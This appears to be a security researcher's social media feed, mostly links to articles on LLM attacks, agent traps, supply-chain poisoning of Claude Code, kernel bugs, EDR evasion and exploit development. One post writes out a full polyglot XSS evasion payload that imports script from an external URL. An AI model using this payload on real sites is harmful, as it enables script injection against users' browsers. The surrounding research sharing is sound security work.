Renaud Bidou

Know what you are doing

[Renaud Bidou @rbidou]

Let’s talk about encrypted reasoning
https://t.co/EkxhOQiHTK

[Renaud Bidou @rbidou]

Getting LLMs Drunk to Find Remote Linux Kernel OOB Writes (and More)
https://t.co/JywfSHVbyQ

[Renaud Bidou @rbidou]

Poisoning Claude Code: One GitHub Issue to Break the Supply Chain
https://t.co/pG3Cq3KdWu

[Yanir Tsarimi @Yanir_]

What happens when your math and map processing libs become RCE vectors?

We've exploited OSS libraries to pop 2 shells on Microsoft's cloud infra, got assessed "low" severity, and found 2 bypasses again to defend our case, almost losing out on 6 digits in bounties

The current impact is over 120,000 repos just on GitHub. AI agents, LangChain, TiTiler, pandas.

Everybody wants the researchers to be responsible.
Here's how responsible disclosure looks like from the other side:

[XSS Payloads @XssPayloads]

A payload with a nice set of evasion tricks, by @KN0X55
JavaScript://%250A/*?'/*\'/*"/*\ "/*`/*\`/*%26apos;)/*<!--></Title/<Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(inport(/https:https://t.co/Nbr642SRnR))}//\76-->

[Renaud Bidou @rbidou]

Tokenization Attacks on LLMs: How Adversaries Exploit AI Language Processing
https://t.co/M1KH2TP5eM

[Renaud Bidou @rbidou]

The Hidden Risk of Side-Channel Attacks on Post Quantum Cryptography
https://t.co/GlkYCVOLhN

[Renaud Bidou @rbidou]

It's Called a VEH-tor
https://t.co/VJ4Mlu7zPs

[Alexandre Borges @ale_sp_brazil]

The Exploiting Reversing Series (ERS) currently features 1051 pages of exploit development based on real-world targets:

[+] ERS 09: https://t.co/V0K5p1XvH9

[+] ERS 08: https://t.co/MPwYP7j8Qt

[+] ERS 07: https://t.co/h18hZC0azl

[+] ERS 06: https://t.co/Sh8pgB4bh8

[+] ERS 05: https://t.co/rdaPMOm4WM

[+] ERS 04: https://t.co/Vf0Fnwf0tc

[+] ERS 03: https://t.co/4lo5Hi0gnd

[+] ERS 02: https://t.co/6SNMK1tBkd

[+] ERS 01: https://t.co/YMTSBl59VC

Now is the time to take a break to dedicate all my energy and focus to security research and new projects that will be announced in the coming weeks and months.

Have a great day and enjoy reading.

#exploit #exploitation #windows #chrome #macOS #iOS #hypervisors #vulnerability #research

[Renaud Bidou @rbidou]

VectorSmuggle: What Embedding Stores Trust, and Why That's a Problem
https://t.co/dN5ZsvtOyz

[Renaud Bidou @rbidou]

We beat Google’s zero-knowledge proof of quantum cryptanalysis
https://t.co/rFXbuxrQhe

[Renaud Bidou @rbidou]

EDR Tradecraft: Internals, Detection, Evasion & Advanced Research
https://t.co/ANopOvtRT5

[Renaud Bidou @rbidou]

The Bot Left a Fingerprint: Detecting and Attributing LLM-Generated Passwords
https://t.co/tFC9AujL4h

[Renaud Bidou @rbidou]

AI Agents Traps
https://t.co/4yEeaWndKO

[Renaud Bidou @rbidou]

Everything about JWT security in 18 articles...
https://t.co/AtapGWvSKY

[Renaud Bidou @rbidou]

MAD Bugs: "cat readme.txt" is not safe in iTerm2
https://t.co/UfUXgY1DqP

[Renaud Bidou @rbidou]

Stealthy RCE on Hardened Linux: noexec + Userland Execution PoC
https://t.co/uGeHtpKImV

[ParaCyberBellum @ParaCyberBellum]

[REVIEW] Security Review #302 is out!
https://t.co/mtnrVHrSYt

[Renaud Bidou @rbidou]

A Cryptography Engineer’s Perspective on Quantum Computing Timelines
https://t.co/bFO06k0Obv

[Renaud Bidou @rbidou]

Cracking a Malvertising DGA From the Device Side
https://t.co/kkuA4zVz67